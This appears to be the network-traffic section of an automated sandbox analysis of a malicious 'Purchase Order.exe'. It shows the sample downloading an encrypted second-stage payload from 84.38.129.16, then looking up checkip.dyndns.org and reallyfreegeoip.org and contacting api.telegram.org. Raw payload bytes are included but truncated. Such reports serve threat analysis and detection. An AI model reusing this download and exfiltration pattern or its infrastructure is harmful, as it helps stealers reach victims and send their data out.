Oct 21, 2024 11:30:32.334534883 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:32.334741116 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:32.334752083 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:32.334763050 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:32.334774971 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:32.334867954 CEST	49975	80	192.168.2.5	84.38.129.16
Oct 21, 2024 11:30:32.334918022 CEST	49975	80	192.168.2.5	84.38.129.16
Oct 21, 2024 11:30:32.335167885 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:32.335179090 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:32.335191965 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:32.335216045 CEST	49975	80	192.168.2.5	84.38.129.16
Oct 21, 2024 11:30:32.335263014 CEST	49975	80	192.168.2.5	84.38.129.16
Oct 21, 2024 11:30:32.335278988 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:32.335304022 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:32.335350990 CEST	49975	80	192.168.2.5	84.38.129.16
Oct 21, 2024 11:30:32.335350990 CEST	49975	80	192.168.2.5	84.38.129.16
Oct 21, 2024 11:30:32.428160906 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:32.428179026 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:32.428189993 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:32.428195000 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:32.428201914 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:32.428210974 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:32.428224087 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:32.428234100 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:32.428443909 CEST	49975	80	192.168.2.5	84.38.129.16
Oct 21, 2024 11:30:32.428478003 CEST	49975	80	192.168.2.5	84.38.129.16
Oct 21, 2024 11:30:32.451708078 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:32.452035904 CEST	49975	80	192.168.2.5	84.38.129.16
Oct 21, 2024 11:30:33.041249037 CEST	49976	80	192.168.2.5	193.122.130.0
Oct 21, 2024 11:30:33.046389103 CEST	80	49976	193.122.130.0	192.168.2.5
Oct 21, 2024 11:30:33.046451092 CEST	49976	80	192.168.2.5	193.122.130.0
Oct 21, 2024 11:30:33.046765089 CEST	49976	80	192.168.2.5	193.122.130.0
Oct 21, 2024 11:30:33.051672935 CEST	80	49976	193.122.130.0	192.168.2.5
Oct 21, 2024 11:30:33.715333939 CEST	80	49976	193.122.130.0	192.168.2.5
Oct 21, 2024 11:30:33.719268084 CEST	49976	80	192.168.2.5	193.122.130.0
Oct 21, 2024 11:30:33.724351883 CEST	80	49976	193.122.130.0	192.168.2.5
Oct 21, 2024 11:30:35.875432968 CEST	80	49976	193.122.130.0	192.168.2.5
Oct 21, 2024 11:30:35.926645041 CEST	49976	80	192.168.2.5	193.122.130.0
Oct 21, 2024 11:30:35.994040966 CEST	49976	80	192.168.2.5	193.122.130.0
Oct 21, 2024 11:30:36.000297070 CEST	80	49976	193.122.130.0	192.168.2.5
Oct 21, 2024 11:30:38.151431084 CEST	80	49976	193.122.130.0	192.168.2.5
Oct 21, 2024 11:30:38.155378103 CEST	49976	80	192.168.2.5	193.122.130.0
Oct 21, 2024 11:30:38.160516977 CEST	80	49976	193.122.130.0	192.168.2.5
Oct 21, 2024 11:30:38.328026056 CEST	80	49976	193.122.130.0	192.168.2.5
Oct 21, 2024 11:30:38.379733086 CEST	49976	80	192.168.2.5	193.122.130.0
Oct 21, 2024 11:30:38.619349957 CEST	49977	443	192.168.2.5	188.114.97.3
Oct 21, 2024 11:30:38.619404078 CEST	443	49977	188.114.97.3	192.168.2.5
Oct 21, 2024 11:30:38.619476080 CEST	49977	443	192.168.2.5	188.114.97.3
Oct 21, 2024 11:30:38.633147001 CEST	49977	443	192.168.2.5	188.114.97.3
Oct 21, 2024 11:30:38.633166075 CEST	443	49977	188.114.97.3	192.168.2.5
Oct 21, 2024 11:30:39.243922949 CEST	443	49977	188.114.97.3	192.168.2.5
Oct 21, 2024 11:30:39.244071007 CEST	49977	443	192.168.2.5	188.114.97.3
Oct 21, 2024 11:30:39.261390924 CEST	49977	443	192.168.2.5	188.114.97.3
Oct 21, 2024 11:30:39.261414051 CEST	443	49977	188.114.97.3	192.168.2.5
Oct 21, 2024 11:30:39.261683941 CEST	443	49977	188.114.97.3	192.168.2.5
Oct 21, 2024 11:30:39.317285061 CEST	49977	443	192.168.2.5	188.114.97.3
Oct 21, 2024 11:30:39.501043081 CEST	49977	443	192.168.2.5	188.114.97.3
Oct 21, 2024 11:30:39.547400951 CEST	443	49977	188.114.97.3	192.168.2.5
Oct 21, 2024 11:30:39.635610104 CEST	443	49977	188.114.97.3	192.168.2.5
Oct 21, 2024 11:30:39.635711908 CEST	443	49977	188.114.97.3	192.168.2.5
Oct 21, 2024 11:30:39.636019945 CEST	49977	443	192.168.2.5	188.114.97.3
Oct 21, 2024 11:30:39.640119076 CEST	49977	443	192.168.2.5	188.114.97.3
Oct 21, 2024 11:30:39.647559881 CEST	49976	80	192.168.2.5	193.122.130.0
Oct 21, 2024 11:30:39.652503967 CEST	80	49976	193.122.130.0	192.168.2.5
Oct 21, 2024 11:30:39.986489058 CEST	80	49976	193.122.130.0	192.168.2.5
Oct 21, 2024 11:30:39.990123987 CEST	49978	443	192.168.2.5	188.114.97.3
Oct 21, 2024 11:30:39.990165949 CEST	443	49978	188.114.97.3	192.168.2.5
Oct 21, 2024 11:30:39.990268946 CEST	49978	443	192.168.2.5	188.114.97.3
Oct 21, 2024 11:30:39.990680933 CEST	49978	443	192.168.2.5	188.114.97.3
Oct 21, 2024 11:30:39.990690947 CEST	443	49978	188.114.97.3	192.168.2.5
Oct 21, 2024 11:30:40.036015987 CEST	49976	80	192.168.2.5	193.122.130.0
Oct 21, 2024 11:30:40.598798037 CEST	443	49978	188.114.97.3	192.168.2.5
Oct 21, 2024 11:30:40.601157904 CEST	49978	443	192.168.2.5	188.114.97.3
Oct 21, 2024 11:30:40.601186991 CEST	443	49978	188.114.97.3	192.168.2.5
Oct 21, 2024 11:30:40.737344027 CEST	443	49978	188.114.97.3	192.168.2.5
Oct 21, 2024 11:30:40.737442017 CEST	443	49978	188.114.97.3	192.168.2.5
Oct 21, 2024 11:30:40.737500906 CEST	49978	443	192.168.2.5	188.114.97.3
Oct 21, 2024 11:30:40.738017082 CEST	49978	443	192.168.2.5	188.114.97.3
Oct 21, 2024 11:30:40.743077040 CEST	49976	80	192.168.2.5	193.122.130.0
Oct 21, 2024 11:30:40.744004965 CEST	49979	80	192.168.2.5	193.122.130.0
Oct 21, 2024 11:30:40.748383045 CEST	80	49976	193.122.130.0	192.168.2.5
Oct 21, 2024 11:30:40.748437881 CEST	49976	80	192.168.2.5	193.122.130.0
Oct 21, 2024 11:30:40.748914003 CEST	80	49979	193.122.130.0	192.168.2.5
Oct 21, 2024 11:30:40.748991966 CEST	49979	80	192.168.2.5	193.122.130.0
Oct 21, 2024 11:30:40.749135971 CEST	49979	80	192.168.2.5	193.122.130.0
Oct 21, 2024 11:30:40.754518032 CEST	80	49979	193.122.130.0	192.168.2.5
Oct 21, 2024 11:30:41.406460047 CEST	80	49979	193.122.130.0	192.168.2.5
Oct 21, 2024 11:30:41.407951117 CEST	49980	443	192.168.2.5	188.114.97.3
Oct 21, 2024 11:30:41.408004045 CEST	443	49980	188.114.97.3	192.168.2.5
Oct 21, 2024 11:30:41.408173084 CEST	49980	443	192.168.2.5	188.114.97.3
Oct 21, 2024 11:30:41.408478975 CEST	49980	443	192.168.2.5	188.114.97.3
Oct 21, 2024 11:30:41.408504963 CEST	443	49980	188.114.97.3	192.168.2.5
Oct 21, 2024 11:30:41.457981110 CEST	49979	80	192.168.2.5	193.122.130.0
Oct 21, 2024 11:30:42.015150070 CEST	443	49980	188.114.97.3	192.168.2.5
Oct 21, 2024 11:30:42.017303944 CEST	49980	443	192.168.2.5	188.114.97.3
Oct 21, 2024 11:30:42.017332077 CEST	443	49980	188.114.97.3	192.168.2.5
Oct 21, 2024 11:30:42.155364037 CEST	443	49980	188.114.97.3	192.168.2.5
Oct 21, 2024 11:30:42.155445099 CEST	443	49980	188.114.97.3	192.168.2.5
Oct 21, 2024 11:30:42.155874014 CEST	49980	443	192.168.2.5	188.114.97.3
Oct 21, 2024 11:30:42.157028913 CEST	49980	443	192.168.2.5	188.114.97.3
Oct 21, 2024 11:30:42.159888029 CEST	49979	80	192.168.2.5	193.122.130.0
Oct 21, 2024 11:30:42.161290884 CEST	49981	80	192.168.2.5	193.122.130.0
Oct 21, 2024 11:30:42.165549040 CEST	80	49979	193.122.130.0	192.168.2.5
Oct 21, 2024 11:30:42.165635109 CEST	49979	80	192.168.2.5	193.122.130.0
Oct 21, 2024 11:30:42.166553974 CEST	80	49981	193.122.130.0	192.168.2.5
Oct 21, 2024 11:30:42.166631937 CEST	49981	80	192.168.2.5	193.122.130.0
Oct 21, 2024 11:30:42.166743040 CEST	49981	80	192.168.2.5	193.122.130.0
Oct 21, 2024 11:30:42.171591043 CEST	80	49981	193.122.130.0	192.168.2.5
Oct 21, 2024 11:30:44.844923973 CEST	80	49981	193.122.130.0	192.168.2.5
Oct 21, 2024 11:30:44.850156069 CEST	49982	80	192.168.2.5	193.122.130.0
Oct 21, 2024 11:30:44.855570078 CEST	80	49982	193.122.130.0	192.168.2.5
Oct 21, 2024 11:30:44.855664968 CEST	49982	80	192.168.2.5	193.122.130.0
Oct 21, 2024 11:30:44.855762959 CEST	49982	80	192.168.2.5	193.122.130.0
Oct 21, 2024 11:30:44.861164093 CEST	80	49982	193.122.130.0	192.168.2.5
Oct 21, 2024 11:30:44.895427942 CEST	49981	80	192.168.2.5	193.122.130.0
Oct 21, 2024 11:30:46.230880022 CEST	80	49982	193.122.130.0	192.168.2.5
Oct 21, 2024 11:30:46.232513905 CEST	49983	443	192.168.2.5	188.114.97.3
Oct 21, 2024 11:30:46.232549906 CEST	443	49983	188.114.97.3	192.168.2.5
Oct 21, 2024 11:30:46.232678890 CEST	49983	443	192.168.2.5	188.114.97.3
Oct 21, 2024 11:30:46.232995033 CEST	49983	443	192.168.2.5	188.114.97.3
Oct 21, 2024 11:30:46.233010054 CEST	443	49983	188.114.97.3	192.168.2.5
Oct 21, 2024 11:30:46.286021948 CEST	49982	80	192.168.2.5	193.122.130.0
Oct 21, 2024 11:30:46.844476938 CEST	443	49983	188.114.97.3	192.168.2.5
Oct 21, 2024 11:30:46.846508026 CEST	49983	443	192.168.2.5	188.114.97.3
Oct 21, 2024 11:30:46.846538067 CEST	443	49983	188.114.97.3	192.168.2.5
Oct 21, 2024 11:30:46.983242989 CEST	443	49983	188.114.97.3	192.168.2.5
Oct 21, 2024 11:30:46.983349085 CEST	443	49983	188.114.97.3	192.168.2.5
Oct 21, 2024 11:30:46.983473063 CEST	49983	443	192.168.2.5	188.114.97.3
Oct 21, 2024 11:30:46.984266043 CEST	49983	443	192.168.2.5	188.114.97.3
Oct 21, 2024 11:30:46.988001108 CEST	49982	80	192.168.2.5	193.122.130.0
Oct 21, 2024 11:30:46.988974094 CEST	49984	80	192.168.2.5	193.122.130.0
Oct 21, 2024 11:30:46.995171070 CEST	80	49982	193.122.130.0	192.168.2.5
Oct 21, 2024 11:30:46.995268106 CEST	49982	80	192.168.2.5	193.122.130.0
Oct 21, 2024 11:30:46.995629072 CEST	80	49984	193.122.130.0	192.168.2.5
Oct 21, 2024 11:30:46.995716095 CEST	49984	80	192.168.2.5	193.122.130.0
Oct 21, 2024 11:30:46.995786905 CEST	49984	80	192.168.2.5	193.122.130.0
Oct 21, 2024 11:30:47.003946066 CEST	80	49984	193.122.130.0	192.168.2.5
Oct 21, 2024 11:30:48.290724039 CEST	80	49984	193.122.130.0	192.168.2.5
Oct 21, 2024 11:30:48.308245897 CEST	49985	443	192.168.2.5	188.114.97.3
Oct 21, 2024 11:30:48.308315992 CEST	443	49985	188.114.97.3	192.168.2.5
Oct 21, 2024 11:30:48.308403969 CEST	49985	443	192.168.2.5	188.114.97.3
Oct 21, 2024 11:30:48.308665037 CEST	49985	443	192.168.2.5	188.114.97.3
Oct 21, 2024 11:30:48.308677912 CEST	443	49985	188.114.97.3	192.168.2.5
Oct 21, 2024 11:30:48.332951069 CEST	49984	80	192.168.2.5	193.122.130.0
Oct 21, 2024 11:30:48.915734053 CEST	443	49985	188.114.97.3	192.168.2.5
Oct 21, 2024 11:30:48.917538881 CEST	49985	443	192.168.2.5	188.114.97.3
Oct 21, 2024 11:30:48.917570114 CEST	443	49985	188.114.97.3	192.168.2.5
Oct 21, 2024 11:30:49.059906960 CEST	443	49985	188.114.97.3	192.168.2.5
Oct 21, 2024 11:30:49.060004950 CEST	443	49985	188.114.97.3	192.168.2.5
Oct 21, 2024 11:30:49.060080051 CEST	49985	443	192.168.2.5	188.114.97.3
Oct 21, 2024 11:30:49.060717106 CEST	49985	443	192.168.2.5	188.114.97.3
Oct 21, 2024 11:30:49.064115047 CEST	49984	80	192.168.2.5	193.122.130.0
Oct 21, 2024 11:30:49.064765930 CEST	49986	80	192.168.2.5	193.122.130.0
Oct 21, 2024 11:30:49.069571018 CEST	80	49984	193.122.130.0	192.168.2.5
Oct 21, 2024 11:30:49.069669962 CEST	49984	80	192.168.2.5	193.122.130.0
Oct 21, 2024 11:30:49.069755077 CEST	80	49986	193.122.130.0	192.168.2.5
Oct 21, 2024 11:30:49.069837093 CEST	49986	80	192.168.2.5	193.122.130.0
Oct 21, 2024 11:30:49.069955111 CEST	49986	80	192.168.2.5	193.122.130.0
Oct 21, 2024 11:30:49.074979067 CEST	80	49986	193.122.130.0	192.168.2.5
Oct 21, 2024 11:30:51.695322037 CEST	80	49986	193.122.130.0	192.168.2.5
Oct 21, 2024 11:30:51.697130919 CEST	49987	443	192.168.2.5	188.114.97.3
Oct 21, 2024 11:30:51.697190046 CEST	443	49987	188.114.97.3	192.168.2.5
Oct 21, 2024 11:30:51.697904110 CEST	49987	443	192.168.2.5	188.114.97.3
Oct 21, 2024 11:30:51.698266983 CEST	49987	443	192.168.2.5	188.114.97.3
Oct 21, 2024 11:30:51.698280096 CEST	443	49987	188.114.97.3	192.168.2.5
Oct 21, 2024 11:30:51.739113092 CEST	49986	80	192.168.2.5	193.122.130.0
Oct 21, 2024 11:30:52.304912090 CEST	443	49987	188.114.97.3	192.168.2.5
Oct 21, 2024 11:30:52.306662083 CEST	49987	443	192.168.2.5	188.114.97.3
Oct 21, 2024 11:30:52.306696892 CEST	443	49987	188.114.97.3	192.168.2.5
Oct 21, 2024 11:30:52.448260069 CEST	443	49987	188.114.97.3	192.168.2.5
Oct 21, 2024 11:30:52.448374987 CEST	443	49987	188.114.97.3	192.168.2.5
Oct 21, 2024 11:30:52.448503017 CEST	49987	443	192.168.2.5	188.114.97.3
Oct 21, 2024 11:30:52.449157953 CEST	49987	443	192.168.2.5	188.114.97.3
Oct 21, 2024 11:30:52.470113993 CEST	49986	80	192.168.2.5	193.122.130.0
Oct 21, 2024 11:30:52.475547075 CEST	80	49986	193.122.130.0	192.168.2.5
Oct 21, 2024 11:30:52.475862026 CEST	49986	80	192.168.2.5	193.122.130.0
Oct 21, 2024 11:30:52.482758999 CEST	49988	443	192.168.2.5	149.154.167.220
Oct 21, 2024 11:30:52.482810020 CEST	443	49988	149.154.167.220	192.168.2.5
Oct 21, 2024 11:30:52.482884884 CEST	49988	443	192.168.2.5	149.154.167.220
Oct 21, 2024 11:30:52.483330965 CEST	49988	443	192.168.2.5	149.154.167.220
Oct 21, 2024 11:30:52.483346939 CEST	443	49988	149.154.167.220	192.168.2.5
Oct 21, 2024 11:30:53.331999063 CEST	443	49988	149.154.167.220	192.168.2.5
Oct 21, 2024 11:30:53.332247019 CEST	49988	443	192.168.2.5	149.154.167.220
Oct 21, 2024 11:30:53.334508896 CEST	49988	443	192.168.2.5	149.154.167.220
Oct 21, 2024 11:30:53.334521055 CEST	443	49988	149.154.167.220	192.168.2.5
Oct 21, 2024 11:30:53.334760904 CEST	443	49988	149.154.167.220	192.168.2.5
Oct 21, 2024 11:30:53.336282015 CEST	49988	443	192.168.2.5	149.154.167.220
Oct 21, 2024 11:30:53.383392096 CEST	443	49988	149.154.167.220	192.168.2.5
Oct 21, 2024 11:30:53.579469919 CEST	443	49988	149.154.167.220	192.168.2.5
Oct 21, 2024 11:30:53.579547882 CEST	443	49988	149.154.167.220	192.168.2.5
Oct 21, 2024 11:30:53.579655886 CEST	49988	443	192.168.2.5	149.154.167.220
Oct 21, 2024 11:30:53.580215931 CEST	49988	443	192.168.2.5	149.154.167.220
Oct 21, 2024 11:31:08.487474918 CEST	49981	80	192.168.2.5	193.122.130.0

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 21, 2024 11:30:33.024956942 CEST	52133	53	192.168.2.5	1.1.1.1
Oct 21, 2024 11:30:33.033716917 CEST	53	52133	1.1.1.1	192.168.2.5
Oct 21, 2024 11:30:38.610124111 CEST	49515	53	192.168.2.5	1.1.1.1
Oct 21, 2024 11:30:38.618509054 CEST	53	49515	1.1.1.1	192.168.2.5
Oct 21, 2024 11:30:52.470838070 CEST	50326	53	192.168.2.5	1.1.1.1
Oct 21, 2024 11:30:52.477684021 CEST	53	50326	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 21, 2024 11:30:33.024956942 CEST	192.168.2.5	1.1.1.1	0x4b3b	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Oct 21, 2024 11:30:38.610124111 CEST	192.168.2.5	1.1.1.1	0x33b9	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false
Oct 21, 2024 11:30:52.470838070 CEST	192.168.2.5	1.1.1.1	0x334e	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 21, 2024 11:30:33.033716917 CEST	1.1.1.1	192.168.2.5	0x4b3b	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 21, 2024 11:30:33.033716917 CEST	1.1.1.1	192.168.2.5	0x4b3b	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Oct 21, 2024 11:30:33.033716917 CEST	1.1.1.1	192.168.2.5	0x4b3b	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Oct 21, 2024 11:30:33.033716917 CEST	1.1.1.1	192.168.2.5	0x4b3b	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Oct 21, 2024 11:30:33.033716917 CEST	1.1.1.1	192.168.2.5	0x4b3b	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Oct 21, 2024 11:30:33.033716917 CEST	1.1.1.1	192.168.2.5	0x4b3b	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Oct 21, 2024 11:30:38.618509054 CEST	1.1.1.1	192.168.2.5	0x33b9	No error (0)	reallyfreegeoip.org		188.114.97.3	A (IP address)	IN (0x0001)	false
Oct 21, 2024 11:30:38.618509054 CEST	1.1.1.1	192.168.2.5	0x33b9	No error (0)	reallyfreegeoip.org		188.114.96.3	A (IP address)	IN (0x0001)	false
Oct 21, 2024 11:30:52.477684021 CEST	1.1.1.1	192.168.2.5	0x334e	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

reallyfreegeoip.org

api.telegram.org

84.38.129.16

checkip.dyndns.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49975	84.38.129.16	80	3340	C:\Users\user\Desktop\Purchase Order.exe

Timestamp	Bytes transferred	Direction	Data
Oct 21, 2024 11:30:29.608429909 CEST	171	OUT	GET /efxSlCP242.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: 84.38.129.16 Cache-Control: no-cache
Oct 21, 2024 11:30:30.432154894 CEST	1236	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Mon, 21 Oct 2024 00:26:14 GMT Accept-Ranges: bytes ETag: "88918dd64f23db1:0" Server: Microsoft-IIS/8.5 Date: Mon, 21 Oct 2024 09:30:28 GMT Content-Length: 274496 Data Raw: d8 50 07 a2 d0 58 60 43 5a b2 3d cb 45 29 38 5c 2e ee 99 b7 dc 33 7a 1a 9a 15 9e f0 44 e3 6a c9 c6 52 36 56 39 35 31 b4 de 56 79 31 32 47 76 c8 79 37 21 74 d4 e1 94 d6 1f 80 8d 98 ae ff 56 a6 66 42 9d b0 71 b8 ea 9a 29 7c ad f5 91 b4 a8 fa 9e 67 f0 8c d8 fc 49 0c 63 f5 11 8b f7 c4 c1 f5 c0 af 95 93 d9 32 82 90 8c b8 94 d8 43 b1 b6 82 68 b5 cf 43 ce e7 78 41 63 77 eb 54 45 50 dc 98 fa d7 2d 0c 5a a4 b1 66 20 6c 8b 97 ea 14 4e 1f a0 e4 70 32 a6 1a 0c 68 83 27 6b e7 ec 62 30 cf 09 6d 52 1f ee 5e 39 c2 d7 d7 0b ac c1 32 c5 1f bc 37 e9 0d 2b 9c 68 60 66 6f e2 a5 f5 12 bf 3d 2f 0b 63 ca 1e 9c 5f eb 18 9a 11 cd 57 70 bb f1 6c 6a 3c b4 78 ec 0e 55 e4 b7 7e 22 1f e7 d7 f7 cb b8 af 13 15 e8 6e d7 cb 2a 27 56 d7 75 6f 93 7f 00 7a 2f 06 e3 8f a1 1a 20 ce 0f 3a ce a3 d8 56 c4 f6 1f cd ab b5 c9 c2 d7 2d da 99 f3 c1 69 71 fc ac 6c 51 2a 46 3e 83 0d 8a 88 ba 92 aa b0 41 ce ce 06 8e 76 8c 21 09 21 fa ce 40 48 72 6b 2e 5b a3 6f 4d 8c cd fc 73 50 1f 01 7d 62 e4 07 1c c0 b1 2b f2 0f 46 3b d4 df a0 7e 19 0d 44 8e f5 4f [TRUNCATED] Data Ascii: PX`CZ=E)8\.3zDjR6V951Vy12Gvy7!tVfBq)\|gIc2ChCxAcwTEP-Zf lNp2h'kb0mR^927+h`fo=/c_Wplj<xU~"n'Vuoz/ :V-iqlQF>Av!!@Hrk.[oMsP}b+F;~DOw[,58Pi-g/PN;,CY.9~MF1d,q-r}J]nZgSMzSxBR,9J5Us`tO`bw.6Vs6&6p(S@$Ts8D(.o3)w^5u/<^4z(QU9PDrv1@i6byJc/:@{lR+\Q;y7{Le.q5hgblM_w,"XF\|HK1GNKH}:DQ~bHgMhw;MG"kGgQ[:2bx;2md;?hIEAM4l4er;cDaQgO9e9,ghZ[0R>SN0="X11Y)q!ZxJ1.@M"[r3d`m.<VI)Z8v+N6T(5Qg8@BI@L
Oct 21, 2024 11:30:30.432182074 CEST	1236	IN	Data Raw: d7 ba 0d 70 6f 2b a3 ed 0d 69 76 7d 94 64 fe 5e 7d 76 a3 8c ba 73 a3 dd ba 75 cd 56 1c 54 33 23 3b cb 4f 82 d0 3f 6c 6a d0 42 47 4b 3c a3 a6 bc 7e a1 34 6e 5b da 35 f3 6e 87 9f 15 21 e1 e1 b7 66 c1 79 92 54 63 c4 32 8f d3 d2 93 17 ac 1c 29 c4 8e Data Ascii: po+iv}d^}vsuVT3#;O?ljBGK<~4n[5n!fyTc2)04J/QO jA`r?H3DK\`ILup{`32nJ:qCsf5&XwAPKGX_-Wi60&\^v308T
Oct 21, 2024 11:30:30.432193041 CEST	1236	IN	Data Raw: 50 3b 69 fc 37 b4 b2 7b fa c8 15 60 02 c3 9e 85 3b f0 4c be 15 15 32 65 28 5b bd 95 34 05 64 67 ab 62 a5 ef 91 a0 e1 d3 ec fa 4b 94 fd b3 57 a0 4e ba 58 da 31 45 ae 8a 48 77 a0 08 4b 59 1d 64 ef 7d 17 e8 12 69 aa 17 02 0a 55 22 eb 21 fa e1 b2 a3 Data Ascii: P;i7{`;L2e([4dgbKWNX1EHwKYd}iU"!bHzAAJD_If;M"mGewj[$]l:sm3E\N.Lq5`M0OM4E/>hGG"DxAhhWS,0/k8
Oct 21, 2024 11:30:30.432209969 CEST	1236	IN	Data Raw: 1a 00 c8 8f 78 cc a3 dc 20 8f f0 1f bd d5 99 c9 c6 d3 05 8a 99 f3 c7 e9 32 7c a8 68 23 45 40 3e f3 73 a6 88 b8 96 c2 65 41 ce d8 86 ca 66 8c 25 7b a4 ec ce 30 26 5e 6b 2e 5f 8b 3f 5d 8c cb 7c 36 50 1f 05 0f c3 e2 07 0c 86 99 2b b9 0b 6e 6b d4 9f Data Ascii: x 2\|h#E@>seAf%{0&^k._?]\|6P+nkHDq+R8P,i)_\|f;d1_9VKF1`^JwS^}J1]h}^DTMxX&+b2R0+h't.zbr^w4&6P8}'t
Oct 21, 2024 11:30:30.432223082 CEST	848	IN	Data Raw: e9 83 af 06 47 3b 75 6b 08 af cd 65 0c 81 77 d0 be b8 54 5c 4f 46 2f b1 8e 42 ed 80 47 03 be 93 23 42 e3 5a aa 60 e8 e8 52 69 76 fb 9e d9 10 6c 20 8e 46 82 41 1a 71 97 64 c1 42 27 cc ee 78 e7 45 08 7a 37 80 43 1c c6 93 64 6b 96 1e 6d 42 01 e1 80 Data Ascii: G;ukewT\OF/BG#BZ`Rivl FAqdB'xEz7CdkmB8~0E1<\+r/F}2x[/tm%@s~l=7,]F(sTYV+alK$(gXL+2C\hC
Oct 21, 2024 11:30:30.547195911 CEST	1236	IN	Data Raw: 68 87 32 b3 cd 48 56 fd 15 ff 75 fd 47 bd 37 6b f7 9f df 47 8c 89 67 cc 5b 60 29 55 a3 24 78 32 8b 62 e0 19 9d b2 c3 cd c9 96 a9 78 e0 28 c2 66 47 4b c4 b4 b8 2c 4d fb 3b b8 46 85 46 e0 be 3f 61 1c f8 3d 36 65 47 46 f1 93 d5 c9 90 3e cf ed 7e 06 Data Ascii: h2HVuG7kGg[`)U$x2bx(fGK,M;FF?a=6eGF>~n>oQbc@GkC&I3+80zVkx Ic2l0a9{!X9g`!u7&&x0K*Ag5~7d4m5<DI5@yco4`+z
Oct 21, 2024 11:30:30.547225952 CEST	1236	IN	Data Raw: a8 60 d1 dd 23 24 85 67 0f ed 5c 5c 50 82 00 8a 4b a2 3e e9 a7 97 2c f8 f6 c0 52 c0 36 1d af f0 24 39 80 07 11 32 bb 9a 47 93 de 40 43 cc 21 b5 01 9f b0 2c 72 0d 25 46 19 a3 57 e5 74 f3 d1 87 79 00 eb 67 23 22 dc 85 53 72 da d5 d5 42 f1 b5 08 2d Data Ascii: `#$g\\PK>,R6$92G@C!,r%FWtyg#"SrB-9%ug0ff^Ojfu.:6-6(`3._kyF/a.s -oTsatP\_% 6wWR_"4<Ndlq}1OA
Oct 21, 2024 11:30:30.547240019 CEST	1236	IN	Data Raw: 2f 81 80 96 46 db 41 c1 3d fe 98 80 e2 48 5e fb e6 90 e4 0a ec c5 e5 1b 41 ec 05 9a f1 e0 78 5b 0c 3a df 97 16 b7 2c 14 b4 6f 2a 67 ca ee 17 c3 21 68 00 03 52 b2 4b b9 79 b3 ac df ab 9b c2 6c ba 52 66 72 2c 40 32 4d 28 83 1b df a8 a5 53 a8 fe 46 Data Ascii: /FA=H^Ax[:,o*g!hRKylRfr,@2M(SF\xr-\|n8&mI\|@&U@M}Uw`f+P'I$aXRidnxbpRQ?zCh\|O\e`QhNi,\8fy8c$1
Oct 21, 2024 11:30:30.547250986 CEST	1236	IN	Data Raw: b1 5e 74 c0 aa a9 9f 95 ff 59 1f b1 94 3b 25 46 5e 47 82 6f 4b a0 d7 7c cd f1 f8 e4 e6 b5 58 4a ad ce bd 31 96 84 ec d8 1f ba 7f 3c a9 96 c2 58 fe f6 00 a5 8f f8 ef 56 39 3a 8c b2 77 74 46 22 59 af b3 a4 21 86 34 e4 9c 41 b9 2c 17 c7 00 8e 28 b6 Data Ascii: ^tY;%F^GoK\|XJ1<XV9:wtF"Y!4A,(_\.{y}NVcs-=9& +;?Zn8doupPN%2~3G3X\|YB&\|Mo7G-^zU+\tX9;4!\hW'g\|
Oct 21, 2024 11:30:30.547262907 CEST	1236	IN	Data Raw: 15 89 db f0 f7 41 68 1a 87 40 d7 57 c4 bc 00 9c 30 51 69 e6 24 77 f8 d2 79 6d 15 91 e9 6b 36 e4 70 c2 a0 d9 3f df ab a9 8d c1 f2 b3 a6 ce 73 29 40 41 85 af 31 de 75 fc 37 c0 88 97 04 1e 2e 14 9d ec 45 93 ab 30 19 62 76 00 55 dc 93 b8 2c 29 24 3a Data Ascii: Ah@W0Qi$wymk6p?s)@A1u7.E0bvU,)$:.R$;-l1]_Q2+)JF,*8?K8-i>^'}\+bcgitYkwc@G(mlnBmv6D5Xn)V\$`!\#D
